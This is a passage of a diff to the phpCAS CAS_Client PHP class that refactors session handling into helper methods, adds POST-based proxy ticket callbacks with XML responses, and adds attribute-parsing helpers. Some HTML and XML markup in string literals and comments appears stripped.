phpCAS::traceBegin(); // true : allow to change the session_id(), false session_id won't be - // change and logout won't be handle because of that + // changed and logout won't be handled because of that $this->_setChangeSessionID($changeSessionID); - // skip Session Handling for logout requests and if don't want it' - if (session_id()=="" && !$this->_isLogoutRequest()) { - session_start(); - phpCAS :: trace("Starting a new session " . session_id()); + $this->setSessionHandler($sessionHandler); + + if (!$this->_isLogoutRequest()) { + if (session_id() === "") { + // skip Session Handling for logout requests and if don't want it + session_start(); + phpCAS :: trace("Starting a new session " . session_id()); + } + // init phpCAS session array + if (!isset($_SESSION[static::PHPCAS_SESSION_PREFIX]) + || !is_array($_SESSION[static::PHPCAS_SESSION_PREFIX])) { + $_SESSION[static::PHPCAS_SESSION_PREFIX] = array(); + } } + // Only for debug purposes if ($this->isSessionAuthenticated()){ - phpCAS :: trace("Session is authenticated as: " . $_SESSION['phpCAS']['user']); + phpCAS :: trace("Session is authenticated as: " . $this->getSessionValue('user')); } else { phpCAS :: trace("Session is not authenticated"); } @@ -942,14 +991,12 @@ class CAS_Client // Make cookie handling available. if ($this->isProxy()) { - if (!isset($_SESSION['phpCAS'])) { - $_SESSION['phpCAS'] = array(); - } - if (!isset($_SESSION['phpCAS']['service_cookies'])) { - $_SESSION['phpCAS']['service_cookies'] = array(); + if (!$this->hasSessionValue('service_cookies')) { + $this->setSessionValue('service_cookies', array()); } + // TODO remove explicit call to $_SESSION $this->_serviceCookieJar = new CAS_CookieJar( - $_SESSION['phpCAS']['service_cookies'] + $_SESSION[static::PHPCAS_SESSION_PREFIX]['service_cookies'] ); } @@ -997,12 +1044,23 @@ class CAS_Client // set to callback mode if PgtIou and PgtId CGI GET parameters are provided if ( $this->isProxy() ) { - $this->_setCallbackMode(!empty($_GET['pgtIou'])&&!empty($_GET['pgtId'])); + if(!empty($_GET['pgtIou'])&&!empty($_GET['pgtId'])) { + $this->_setCallbackMode(true); + $this->_setCallbackModeUsingPost(false); + } elseif (!empty($_POST['pgtIou'])&&!empty($_POST['pgtId'])) { + $this->_setCallbackMode(true); + $this->_setCallbackModeUsingPost(true); + } else { + $this->_setCallbackMode(false); + $this->_setCallbackModeUsingPost(false); + } + + } if ( $this->_isCallbackMode() ) { //callback mode: check that phpCAS is secured - if ( !$this->_isHttps() ) { + if ( !$this->getServiceBaseUrl()->isHttps() ) { phpCAS::error( 'CAS proxies must be secured to use phpCAS; PGT\'s will not be received from the CAS server' ); @@ -1010,7 +1068,7 @@ class CAS_Client } else { //normal mode: get ticket and remove it from CGI parameters for // developers - $ticket = (isset($_GET['ticket']) ? $_GET['ticket'] : null); + $ticket = (isset($_GET['ticket']) ? $_GET['ticket'] : ''); if (preg_match('/^[SP]T-/', $ticket) ) { phpCAS::trace('Ticket \''.$ticket.'\' found'); $this->setTicket($ticket); @@ -1040,6 +1098,8 @@ class CAS_Client * @{ */ + /** The session prefix for phpCAS values */ + const PHPCAS_SESSION_PREFIX = 'phpCAS'; /** * @var bool A variable to whether phpcas will use its own session handling. Default = true @@ -1047,6 +1107,11 @@ class CAS_Client */ private $_change_session_id = true; + /** + * @var SessionHandlerInterface + */ + private $_sessionHandler; + /** * Set a parameter whether to allow phpCAS to change session_id * @@ -1069,6 +1134,149 @@ class CAS_Client return $this->_change_session_id; } + /** + * Set the session handler. + * + * @param \SessionHandlerInterface $sessionHandler + * + * @return bool + */ + public function setSessionHandler(\SessionHandlerInterface $sessionHandler) + { + $this->_sessionHandler = $sessionHandler; + if (session_status() !== PHP_SESSION_ACTIVE) { + return session_set_save_handler($this->_sessionHandler, true); + } + return true; + } + + /** + * Get a session value using the given key. + * + * @param string $key + * @param mixed $default default value if the key is not set + * + * @return mixed + */ + protected function getSessionValue($key, $default = null) + { + $this->validateSession($key); + + if (isset($_SESSION[static::PHPCAS_SESSION_PREFIX][$key])) { + return $_SESSION[static::PHPCAS_SESSION_PREFIX][$key]; + } + + return $default; + } + + /** + * Determine whether a session value is set or not. + * + * To check if a session value is empty or not please use + * !!(getSessionValue($key)). + * + * @param string $key + * + * @return bool + */ + protected function hasSessionValue($key) + { + $this->validateSession($key); + + return isset($_SESSION[static::PHPCAS_SESSION_PREFIX][$key]); + } + + /** + * Set a session value using the given key and value. + * + * @param string $key + * @param mixed $value + * + * @return string + */ + protected function setSessionValue($key, $value) + { + $this->validateSession($key); + + $_SESSION[static::PHPCAS_SESSION_PREFIX][$key] = $value; + } + + /** + * Remove a session value with the given key. + * + * @param string $key + */ + protected function removeSessionValue($key) + { + $this->validateSession($key); + + if (isset($_SESSION[static::PHPCAS_SESSION_PREFIX][$key])) { + unset($_SESSION[static::PHPCAS_SESSION_PREFIX][$key]); + return true; + } + + return false; + } + + /** + * Remove all phpCAS session values. + */ + protected function clearSessionValues() + { + unset($_SESSION[static::PHPCAS_SESSION_PREFIX]); + } + + /** + * Ensure $key is a string for session utils input + * + * @param string $key + * + * @return bool + */ + protected function validateSession($key) + { + if (!is_string($key)) { + throw new InvalidArgumentException('Session key must be a string.'); + } + + return true; + } + + /** + * Renaming the session + * + * @param string $ticket name of the ticket + * + * @return void + */ + protected function _renameSession($ticket) + { + phpCAS::traceBegin(); + if ($this->getChangeSessionID()) { + if (!empty($this->_user)) { + $old_session = $_SESSION; + phpCAS :: trace("Killing session: ". session_id()); + session_destroy(); + // set up a new session, of name based on the ticket + $session_id = $this->_sessionIdForTicket($ticket); + phpCAS :: trace("Starting session: ". $session_id); + session_id($session_id); + session_start(); + phpCAS :: trace("Restoring old session vars"); + $_SESSION = $old_session; + } else { + phpCAS :: trace ( + 'Session should only be renamed after successfull authentication' + ); + } + } else { + phpCAS :: trace( + "Skipping session rename since phpCAS is not handling the session." + ); + } + phpCAS::traceEnd(); + } + /** @} */ // XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX @@ -1112,10 +1320,10 @@ class CAS_Client */ public function getUser() { - // Sequence validation - $this->ensureAuthenticationCallSuccessful(); + // Sequence validation + $this->ensureAuthenticationCallSuccessful(); - return $this->_getUser(); + return $this->_getUser(); } /** @@ -1128,7 +1336,7 @@ class CAS_Client */ private function _getUser() { - // This is likely a duplicate check that could be removed.... + // This is likely a duplicate check that could be removed.... if ( empty($this->_user) ) { phpCAS::error( 'this method should be used only after '.__CLASS__ @@ -1166,9 +1374,9 @@ class CAS_Client */ public function getAttributes() { - // Sequence validation - $this->ensureAuthenticationCallSuccessful(); - // This is likely a duplicate check that could be removed.... + // Sequence validation + $this->ensureAuthenticationCallSuccessful(); + // This is likely a duplicate check that could be removed.... if ( empty($this->_user) ) { // if no user is set, there shouldn't be any attributes also... phpCAS::error( @@ -1186,8 +1394,8 @@ class CAS_Client */ public function hasAttributes() { - // Sequence validation - $this->ensureAuthenticationCallSuccessful(); + // Sequence validation + $this->ensureAuthenticationCallSuccessful(); return !empty($this->_attributes); } @@ -1200,8 +1408,8 @@ class CAS_Client */ public function hasAttribute($key) { - // Sequence validation - $this->ensureAuthenticationCallSuccessful(); + // Sequence validation + $this->ensureAuthenticationCallSuccessful(); return $this->_hasAttribute($key); } @@ -1228,8 +1436,8 @@ class CAS_Client */ public function getAttribute($key) { - // Sequence validation - $this->ensureAuthenticationCallSuccessful(); + // Sequence validation + $this->ensureAuthenticationCallSuccessful(); if ($this->_hasAttribute($key)) { return $this->_attributes[$key]; @@ -1247,9 +1455,7 @@ class CAS_Client { phpCAS::traceBegin(); // Either way, the user is authenticated by CAS - if (isset( $_SESSION['phpCAS']['auth_checked'])) { - unset($_SESSION['phpCAS']['auth_checked']); - } + $this->removeSessionValue('auth_checked'); if ( $this->isAuthenticated(true) ) { phpCAS::trace('user already authenticated'); $res = true; @@ -1278,9 +1484,7 @@ class CAS_Client $res = true; } else { // the user is not authenticated, redirect to the CAS server - if (isset($_SESSION['phpCAS']['auth_checked'])) { - unset($_SESSION['phpCAS']['auth_checked']); - } + $this->removeSessionValue('auth_checked'); $this->redirectToCas(false/* no gateway */); // never reached $res = false; @@ -1306,8 +1510,8 @@ class CAS_Client */ public function setCacheTimesForAuthRecheck($n) { - if (gettype($n) != 'integer') - throw new CAS_TypeMismatchException($n, '$n', 'string'); + if (gettype($n) != 'integer') + throw new CAS_TypeMismatchException($n, '$n', 'string'); $this->_cache_times_for_auth_recheck = $n; } @@ -1322,34 +1526,31 @@ class CAS_Client public function checkAuthentication() { phpCAS::traceBegin(); + $res = false; // default if ( $this->isAuthenticated() ) { phpCAS::trace('user is authenticated'); /* The 'auth_checked' variable is removed just in case it's set. */ - unset($_SESSION['phpCAS']['auth_checked']); + $this->removeSessionValue('auth_checked'); $res = true; - } else if (isset($_SESSION['phpCAS']['auth_checked'])) { + } else if ($this->getSessionValue('auth_checked')) { // the previous request has redirected the client to the CAS server // with gateway=true - unset($_SESSION['phpCAS']['auth_checked']); - $res = false; + $this->removeSessionValue('auth_checked'); } else { // avoid a check against CAS on every request - if (!isset($_SESSION['phpCAS']['unauth_count'])) { - $_SESSION['phpCAS']['unauth_count'] = -2; // uninitialized - } + // we need to write this back to session later + $unauth_count = $this->getSessionValue('unauth_count', -2); - if (($_SESSION['phpCAS']['unauth_count'] != -2 + if (($unauth_count != -2 && $this->_cache_times_for_auth_recheck == -1) - || ($_SESSION['phpCAS']['unauth_count'] >= 0 - && $_SESSION['phpCAS']['unauth_count'] < $this->_cache_times_for_auth_recheck) + || ($unauth_count >= 0 + && $unauth_count < $this->_cache_times_for_auth_recheck) ) { - $res = false; - if ($this->_cache_times_for_auth_recheck != -1) { - $_SESSION['phpCAS']['unauth_count']++; + $unauth_count++; phpCAS::trace( 'user is not authenticated (cached for ' - .$_SESSION['phpCAS']['unauth_count'].' times of ' + .$unauth_count.' times of ' .$this->_cache_times_for_auth_recheck.')' ); } else { @@ -1357,13 +1558,13 @@ class CAS_Client 'user is not authenticated (cached for until login pressed)' ); } + $this->setSessionValue('unauth_count', $unauth_count); } else { - $_SESSION['phpCAS']['unauth_count'] = 0; - $_SESSION['phpCAS']['auth_checked'] = true; + $this->setSessionValue('unauth_count', 0); + $this->setSessionValue('auth_checked', true); phpCAS::trace('user is not authenticated (cache reset)'); $this->redirectToCas(true/* gateway */); // never reached - $res = false; } } phpCAS::traceEnd($res); @@ -1383,7 +1584,7 @@ class CAS_Client { phpCAS::traceBegin(); $res = false; - $validate_url = ''; + if ( $this->_wasPreviouslyAuthenticated() ) { if ($this->hasTicket()) { // User has a additional ticket but was already authenticated @@ -1417,6 +1618,10 @@ class CAS_Client $this->markAuthenticationCall($res); } else { if ($this->hasTicket()) { + $validate_url = ''; + $text_response = ''; + $tree_response = ''; + switch ($this->getServerVersion()) { case CAS_VERSION_1_0: // if a Service Ticket was given, validate it @@ -1429,7 +1634,7 @@ class CAS_Client phpCAS::trace( 'CAS 1.0 ticket `'.$this->getTicket().'\' was validated' ); - $_SESSION['phpCAS']['user'] = $this->_getUser(); + $this->setSessionValue('user', $this->_getUser()); $res = true; $logoutTicket = $this->getTicket(); break; @@ -1450,15 +1655,15 @@ class CAS_Client $validate_url, $text_response, $tree_response ); // idem phpCAS::trace('PGT `'.$this->_getPGT().'\' was validated'); - $_SESSION['phpCAS']['pgt'] = $this->_getPGT(); + $this->setSessionValue('pgt', $this->_getPGT()); } - $_SESSION['phpCAS']['user'] = $this->_getUser(); + $this->setSessionValue('user', $this->_getUser()); if (!empty($this->_attributes)) { - $_SESSION['phpCAS']['attributes'] = $this->_attributes; + $this->setSessionValue('attributes', $this->_attributes); } $proxies = $this->getProxies(); if (!empty($proxies)) { - $_SESSION['phpCAS']['proxies'] = $this->getProxies(); + $this->setSessionValue('proxies', $this->getProxies()); } $res = true; $logoutTicket = $this->getTicket(); @@ -1474,13 +1679,13 @@ class CAS_Client phpCAS::trace( 'SAML 1.1 ticket `'.$this->getTicket().'\' was validated' ); - $_SESSION['phpCAS']['user'] = $this->_getUser(); - $_SESSION['phpCAS']['attributes'] = $this->_attributes; + $this->setSessionValue('user', $this->_getUser()); + $this->setSessionValue('attributes', $this->_attributes); $res = true; $logoutTicket = $this->getTicket(); break; default: - phpCAS::trace('Protocoll error'); + phpCAS::trace('Protocol error'); break; } } else { @@ -1529,7 +1734,7 @@ class CAS_Client */ public function isSessionAuthenticated () { - return !empty($_SESSION['phpCAS']['user']); + return !!$this->getSessionValue('user'); } /** @@ -1557,50 +1762,50 @@ class CAS_Client if ( $this->isProxy() ) { // CAS proxy: username and PGT must be present if ( $this->isSessionAuthenticated() - && !empty($_SESSION['phpCAS']['pgt']) + && $this->getSessionValue('pgt') ) { // authentication already done - $this->_setUser($_SESSION['phpCAS']['user']); - if (isset($_SESSION['phpCAS']['attributes'])) { - $this->setAttributes($_SESSION['phpCAS']['attributes']); + $this->_setUser($this->getSessionValue('user')); + if ($this->hasSessionValue('attributes')) { + $this->setAttributes($this->getSessionValue('attributes')); } - $this->_setPGT($_SESSION['phpCAS']['pgt']); + $this->_setPGT($this->getSessionValue('pgt')); phpCAS::trace( - 'user = `'.$_SESSION['phpCAS']['user'].'\', PGT = `' - .$_SESSION['phpCAS']['pgt'].'\'' + 'user = `'.$this->getSessionValue('user').'\', PGT = `' + .$this->getSessionValue('pgt').'\'' ); // Include the list of proxies - if (isset($_SESSION['phpCAS']['proxies'])) { - $this->_setProxies($_SESSION['phpCAS']['proxies']); + if ($this->hasSessionValue('proxies')) { + $this->_setProxies($this->getSessionValue('proxies')); phpCAS::trace( 'proxies = "' - .implode('", "', $_SESSION['phpCAS']['proxies']).'"' + .implode('", "', $this->getSessionValue('proxies')).'"' ); } $auth = true; } elseif ( $this->isSessionAuthenticated() - && empty($_SESSION['phpCAS']['pgt']) + && !$this->getSessionValue('pgt') ) { // these two variables should be empty or not empty at the same time phpCAS::trace( - 'username found (`'.$_SESSION['phpCAS']['user'] + 'username found (`'.$this->getSessionValue('user') .'\') but PGT is empty' ); // unset all tickets to enforce authentication - unset($_SESSION['phpCAS']); + $this->clearSessionValues(); $this->setTicket(''); } elseif ( !$this->isSessionAuthenticated() - && !empty($_SESSION['phpCAS']['pgt']) + && $this->getSessionValue('pgt') ) { // these two variables should be empty or not empty at the same time phpCAS::trace( - 'PGT found (`'.$_SESSION['phpCAS']['pgt'] + 'PGT found (`'.$this->getSessionValue('pgt') .'\') but username is empty' ); // unset all tickets to enforce authentication - unset($_SESSION['phpCAS']); + $this->clearSessionValues(); $this->setTicket(''); } else { phpCAS::trace('neither user nor PGT found'); @@ -1609,18 +1814,18 @@ class CAS_Client // `simple' CAS client (not a proxy): username must be present if ( $this->isSessionAuthenticated() ) { // authentication already done - $this->_setUser($_SESSION['phpCAS']['user']); - if (isset($_SESSION['phpCAS']['attributes'])) { - $this->setAttributes($_SESSION['phpCAS']['attributes']); + $this->_setUser($this->getSessionValue('user')); + if ($this->hasSessionValue('attributes')) { + $this->setAttributes($this->getSessionValue('attributes')); } - phpCAS::trace('user = `'.$_SESSION['phpCAS']['user'].'\''); + phpCAS::trace('user = `'.$this->getSessionValue('user').'\''); // Include the list of proxies - if (isset($_SESSION['phpCAS']['proxies'])) { - $this->_setProxies($_SESSION['phpCAS']['proxies']); + if ($this->hasSessionValue('proxies')) { + $this->_setProxies($this->getSessionValue('proxies')); phpCAS::trace( 'proxies = "' - .implode('", "', $_SESSION['phpCAS']['proxies']).'"' + .implode('", "', $this->getSessionValue('proxies')).'"' ); } @@ -1657,7 +1862,7 @@ class CAS_Client phpCAS::trace("Redirect to : ".$cas_url); $lang = $this->getLangObj(); $this->printHTMLHeader($lang->getAuthenticationWanted()); - printf('

'. $lang->getShouldHaveBeenRedirected(). '

', $cas_url); + $this->printf('

'. $lang->getShouldHaveBeenRedirected(). '

', $cas_url); $this->printHTMLFooter(); phpCAS::traceExit(); throw new CAS_GracefullTerminationException(); @@ -1700,7 +1905,7 @@ class CAS_Client } $lang = $this->getLangObj(); $this->printHTMLHeader($lang->getLogout()); - printf('

'.$lang->getShouldHaveBeenRedirected(). '

', $cas_url); + $this->printf('

'.$lang->getShouldHaveBeenRedirected(). '

', $cas_url); $this->printHTMLFooter(); phpCAS::traceExit(); throw new CAS_GracefullTerminationException(); @@ -1944,7 +2149,7 @@ class CAS_Client if (gettype($validate_cn) != 'boolean') { throw new CAS_TypeMismatchException($validate_cn, '$validate_cn', 'boolean'); } - if ( !file_exists($cert) && $this->_requestImplementation !== 'CAS_TestHarness_DummyRequest'){ + if (!file_exists($cert)) { throw new CAS_InvalidArgumentException("Certificate file does not exist " . $this->_requestImplementation); } $this->_cas_server_ca_cert = $cert; @@ -1989,6 +2194,8 @@ class CAS_Client $validate_url .= '&renew=true'; } + $headers = ''; + $err_msg = ''; // open and read the URL if ( !$this->_readURL($validate_url, $headers, $text_response, $err_msg) ) { phpCAS::trace( @@ -2065,6 +2272,8 @@ class CAS_Client $validate_url .= '&renew=true'; } + $headers = ''; + $err_msg = ''; // open and read the URL if ( !$this->_readURL($validate_url, $headers, $text_response, $err_msg) ) { phpCAS::trace( @@ -2329,6 +2538,36 @@ class CAS_Client return $this->_callback_mode; } + /** + * @var bool a boolean to know if the CAS client is using POST parameters when in callback mode. + * Written by CAS_Client::_setCallbackModeUsingPost(), read by CAS_Client::_isCallbackModeUsingPost(). + * + * @hideinitializer + */ + private $_callback_mode_using_post = false; + + /** + * This method sets/unsets usage of POST parameters in callback mode (default/false is GET parameters) + * + * @param bool $callback_mode_using_post true to use POST, false to use GET (default). + * + * @return void + */ + private function _setCallbackModeUsingPost($callback_mode_using_post) + { + $this->_callback_mode_using_post = $callback_mode_using_post; + } + + /** + * This method returns true when the callback mode is using POST, false otherwise. + * + * @return bool A boolean. + */ + private function _isCallbackModeUsingPost() + { + return $this->_callback_mode_using_post; + } + /** * the URL that should be used for the PGT callback (in fact the URL of the * current request without any CGI parameter). Written and read by @@ -2350,8 +2589,7 @@ class CAS_Client // the URL is built when needed only if ( empty($this->_callback_url) ) { // remove the ticket if present in the URL - $final_uri = 'https://'; - $final_uri .= $this->_getClientUrl(); + $final_uri = $this->getServiceBaseUrl()->get(); $request_uri = $_SERVER['REQUEST_URI']; $request_uri = preg_replace('/\?.*$/', '', $request_uri); $final_uri .= $request_uri; @@ -2369,11 +2607,11 @@ class CAS_Client */ public function setCallbackURL($url) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - // Argument Validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument Validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); return $this->_callback_url = $url; } @@ -2387,23 +2625,35 @@ class CAS_Client private function _callback() { phpCAS::traceBegin(); - if (preg_match('/^PGTIOU-[\.\-\w]+$/', $_GET['pgtIou'])) { - if (preg_match('/^[PT]GT-[\.\-\w]+$/', $_GET['pgtId'])) { - $this->printHTMLHeader('phpCAS callback'); - $pgt_iou = $_GET['pgtIou']; - $pgt = $_GET['pgtId']; - phpCAS::trace('Storing PGT `'.$pgt.'\' (id=`'.$pgt_iou.'\')'); - echo '

Storing PGT `'.$pgt.'\' (id=`'.$pgt_iou.'\').

'; - $this->_storePGT($pgt, $pgt_iou); - $this->printHTMLFooter(); + if ($this->_isCallbackModeUsingPost()) { + $pgtId = $_POST['pgtId']; + $pgtIou = $_POST['pgtIou']; + } else { + $pgtId = $_GET['pgtId']; + $pgtIou = $_GET['pgtIou']; + } + if (preg_match('/^PGTIOU-[\.\-\w]+$/', $pgtIou)) { + if (preg_match('/^[PT]GT-[\.\-\w]+$/', $pgtId)) { + phpCAS::trace('Storing PGT `'.$pgtId.'\' (id=`'.$pgtIou.'\')'); + $this->_storePGT($pgtId, $pgtIou); + if ($this->isXmlResponse()) { + echo '' . "\r\n"; + echo ''; + phpCAS::traceExit("XML response sent"); + } else { + $this->printHTMLHeader('phpCAS callback'); + echo '

Storing PGT `'.$pgtId.'\' (id=`'.$pgtIou.'\').

'; + $this->printHTMLFooter(); + phpCAS::traceExit("HTML response sent"); + } phpCAS::traceExit("Successfull Callback"); } else { - phpCAS::error('PGT format invalid' . $_GET['pgtId']); - phpCAS::traceExit('PGT format invalid' . $_GET['pgtId']); + phpCAS::error('PGT format invalid' . $pgtId); + phpCAS::traceExit('PGT format invalid' . $pgtId); } } else { - phpCAS::error('PGTiou format invalid' . $_GET['pgtIou']); - phpCAS::traceExit('PGTiou format invalid' . $_GET['pgtIou']); + phpCAS::error('PGTiou format invalid' . $pgtIou); + phpCAS::traceExit('PGTiou format invalid' . $pgtIou); } // Flush the buffer to prevent from sending anything other then a 200 @@ -2413,6 +2663,23 @@ class CAS_Client throw new CAS_GracefullTerminationException(); } + /** + * Check if application/xml or text/xml is pressent in HTTP_ACCEPT header values + * when return value is complex and contains attached q parameters. + * Example: HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;q=0.9 + * @return bool + */ + private function isXmlResponse() + { + if (!array_key_exists('HTTP_ACCEPT', $_SERVER)) { + return false; + } + if (strpos($_SERVER['HTTP_ACCEPT'], 'application/xml') === false && strpos($_SERVER['HTTP_ACCEPT'], 'text/xml') === false) { + return false; + } + + return true; + } /** @} */ @@ -2493,7 +2760,7 @@ class CAS_Client */ public function setPGTStorage($storage) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); // check that the storage has not already been set @@ -2529,18 +2796,18 @@ class CAS_Client public function setPGTStorageDb( $dsn_or_pdo, $username='', $password='', $table='', $driver_options=null ) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - // Argument validation - if (!(is_object($dsn_or_pdo) && $dsn_or_pdo instanceof PDO) && !is_string($dsn_or_pdo)) - throw new CAS_TypeMismatchException($dsn_or_pdo, '$dsn_or_pdo', 'string or PDO object'); - if (gettype($username) != 'string') - throw new CAS_TypeMismatchException($username, '$username', 'string'); + // Argument validation + if (!(is_object($dsn_or_pdo) && $dsn_or_pdo instanceof PDO) && !is_string($dsn_or_pdo)) + throw new CAS_TypeMismatchException($dsn_or_pdo, '$dsn_or_pdo', 'string or PDO object'); + if (gettype($username) != 'string') + throw new CAS_TypeMismatchException($username, '$username', 'string'); if (gettype($password) != 'string') - throw new CAS_TypeMismatchException($password, '$password', 'string'); + throw new CAS_TypeMismatchException($password, '$password', 'string'); if (gettype($table) != 'string') - throw new CAS_TypeMismatchException($table, '$password', 'string'); + throw new CAS_TypeMismatchException($table, '$password', 'string'); // create the storage object $this->setPGTStorage( @@ -2560,12 +2827,12 @@ class CAS_Client */ public function setPGTStorageFile($path='') { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - // Argument validation - if (gettype($path) != 'string') - throw new CAS_TypeMismatchException($path, '$path', 'string'); + // Argument validation + if (gettype($path) != 'string') + throw new CAS_TypeMismatchException($path, '$path', 'string'); // create the storage object $this->setPGTStorage(new CAS_PGTStorage_File($this, $path)); @@ -2647,9 +2914,9 @@ class CAS_Client */ public function retrievePT($target_service,&$err_code,&$err_msg) { - // Argument validation - if (gettype($target_service) != 'string') - throw new CAS_TypeMismatchException($target_service, '$target_service', 'string'); + // Argument validation + if (gettype($target_service) != 'string') + throw new CAS_TypeMismatchException($target_service, '$target_service', 'string'); phpCAS::traceBegin(); @@ -2663,6 +2930,8 @@ class CAS_Client $cas_url = $this->getServerProxyURL().'?targetService=' .urlencode($target_service).'&pgt='.$this->_getPGT(); + $headers = ''; + $cas_response = ''; // open and read the URL if ( !$this->_readURL($cas_url, $headers, $cas_response, $err_msg) ) { phpCAS::trace( @@ -2869,13 +3138,13 @@ class CAS_Client */ public function getProxiedService ($type) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - $this->ensureAuthenticationCallSuccessful(); + $this->ensureAuthenticationCallSuccessful(); - // Argument validation - if (gettype($type) != 'string') - throw new CAS_TypeMismatchException($type, '$type', 'string'); + // Argument validation + if (gettype($type) != 'string') + throw new CAS_TypeMismatchException($type, '$type', 'string'); switch ($type) { case PHPCAS_PROXIED_SERVICE_HTTP_GET: @@ -2920,9 +3189,9 @@ class CAS_Client */ public function initializeProxiedService (CAS_ProxiedService $proxiedService) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - $this->ensureAuthenticationCallSuccessful(); + $this->ensureAuthenticationCallSuccessful(); $url = $proxiedService->getServiceUrl(); if (!is_string($url)) { @@ -2955,13 +3224,13 @@ class CAS_Client */ public function serviceWeb($url,&$err_code,&$output) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - $this->ensureAuthenticationCallSuccessful(); + $this->ensureAuthenticationCallSuccessful(); - // Argument validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); try { $service = $this->getProxiedService(PHPCAS_PROXIED_SERVICE_HTTP_GET); @@ -3005,17 +3274,17 @@ class CAS_Client */ public function serviceMail($url,$serviceUrl,$flags,&$err_code,&$err_msg,&$pt) { - // Sequence validation + // Sequence validation $this->ensureIsProxy(); - $this->ensureAuthenticationCallSuccessful(); + $this->ensureAuthenticationCallSuccessful(); - // Argument validation - if (gettype($url) != 'string') - throw new CAS_TypeMismatchException($url, '$url', 'string'); + // Argument validation + if (gettype($url) != 'string') + throw new CAS_TypeMismatchException($url, '$url', 'string'); if (gettype($serviceUrl) != 'string') - throw new CAS_TypeMismatchException($serviceUrl, '$serviceUrl', 'string'); + throw new CAS_TypeMismatchException($serviceUrl, '$serviceUrl', 'string'); if (gettype($flags) != 'integer') - throw new CAS_TypeMismatchException($flags, '$flags', 'string'); + throw new CAS_TypeMismatchException($flags, '$flags', 'string'); try { $service = $this->getProxiedService(PHPCAS_PROXIED_SERVICE_IMAP); @@ -3279,6 +3548,295 @@ class CAS_Client return $result; } + /** + * This method recursively parses the attribute XML. + * It also collapses name-value pairs into a single + * array entry. It parses all common formats of + * attributes and well formed XML files. + * + * @param string $root the DOM root element to be parsed + * @param string $namespace namespace of the elements + * + * @return an array of the parsed XML elements + * + * Formats tested: + * + * "Jasig Style" Attributes: + * + * + * + * jsmith + * + * RubyCAS + * Smith + * John + * CN=Staff,OU=Groups,DC=example,DC=edu + * CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu + * + * PGTIOU-84678-8a9d2sfa23casd + * + * + * + * "Jasig Style" Attributes (longer version): + * + * + * + * jsmith + * + * + * surname + * Smith + * + * + * givenName + * John + * + * + * memberOf + * ['CN=Staff,OU=Groups,DC=example,DC=edu', 'CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu'] + * + * + * PGTIOU-84678-8a9d2sfa23casd + * + * + * + * "RubyCAS Style" attributes + * + * + * + * jsmith + * + * RubyCAS + * Smith + * John + * CN=Staff,OU=Groups,DC=example,DC=edu + * CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu + * + * PGTIOU-84678-8a9d2sfa23casd + * + * + * + * "Name-Value" attributes. + * + * Attribute format from these mailing list thread: + * http://jasig.275507.n4.nabble.com/CAS-attributes-and-how-they-appear-in-the-CAS-response-td264272.html + * Note: This is a less widely used format, but in use by at least two institutions. + * + * + * + * jsmith + * + * + * + * + * + * + * + * PGTIOU-84678-8a9d2sfa23casd + * + * + * + * result: + * + * Array ( + * [surname] => Smith + * [givenName] => John + * [memberOf] => Array ( + * [0] => CN=Staff, OU=Groups, DC=example, DC=edu + * [1] => CN=Spanish Department, OU=Departments, OU=Groups, DC=example, DC=edu + * ) + * ) + */ + private function _xml_to_array($root, $namespace = "cas") + { + $result = array(); + if ($root->hasAttributes()) { + $attrs = $root->attributes; + $pair = array(); + foreach ($attrs as $attr) { + if ($attr->name === "name") { + $pair['name'] = $attr->value; + } elseif ($attr->name === "value") { + $pair['value'] = $attr->value; + } else { + $result[$attr->name] = $attr->value; + } + if (array_key_exists('name', $pair) && array_key_exists('value', $pair)) { + $result[$pair['name']] = $pair['value']; + } + } + } + if ($root->hasChildNodes()) { + $children = $root->childNodes; + if ($children->length == 1) { + $child = $children->item(0); + if ($child->nodeType == XML_TEXT_NODE) { + $result['_value'] = $child->nodeValue; + return (count($result) == 1) ? $result['_value'] : $result; + } + } + $groups = array(); + foreach ($children as $child) { + $child_nodeName = str_ireplace($namespace . ":", "", $child->nodeName); + if (in_array($child_nodeName, array("user", "proxies", "proxyGrantingTicket"))) { + continue; + } + if (!isset($result[$child_nodeName])) { + $res = $this->_xml_to_array($child, $namespace); + if (!empty($res)) { + $result[$child_nodeName] = $this->_xml_to_array($child, $namespace); + } + } else { + if (!isset($groups[$child_nodeName])) { + $result[$child_nodeName] = array($result[$child_nodeName]); + $groups[$child_nodeName] = 1; + } + $result[$child_nodeName][] = $this->_xml_to_array($child, $namespace); + } + } + } + return $result; + } + + /** + * This method parses a "JSON-like array" of strings + * into an array of strings + * + * @param string $json_value the json-like string: + * e.g.: + * ['CN=Staff,OU=Groups,DC=example,DC=edu', 'CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu'] + * + * @return array of strings Description + * e.g.: + * Array ( + * [0] => CN=Staff,OU=Groups,DC=example,DC=edu + * [1] => CN=Spanish Department,OU=Departments,OU=Groups,DC=example,DC=edu + * ) + */ + private function _parse_json_like_array_value($json_value) + { + $parts = explode(",", trim($json_value, "[]")); + $out = array(); + $quote = ''; + foreach ($parts as $part) { + $part = trim($part); + if ($quote === '') { + $value = ""; + if ($this->_startsWith($part, '\'')) { + $quote = '\''; + } elseif ($this->_startsWith($part, '"')) { + $quote = '"'; + } else { + $out[] = $part; + } + $part = ltrim($part, $quote); + } + if ($quote !== '') { + $value .= $part; + if ($this->_endsWith($part, $quote)) { + $out[] = rtrim($value, $quote); + $quote = ''; + } else { + $value .= ", "; + }; + } + } + return $out; + } + + /** + * This method recursively removes unneccessary hirarchy levels in array-trees. + * into an array of strings + * + * @param array 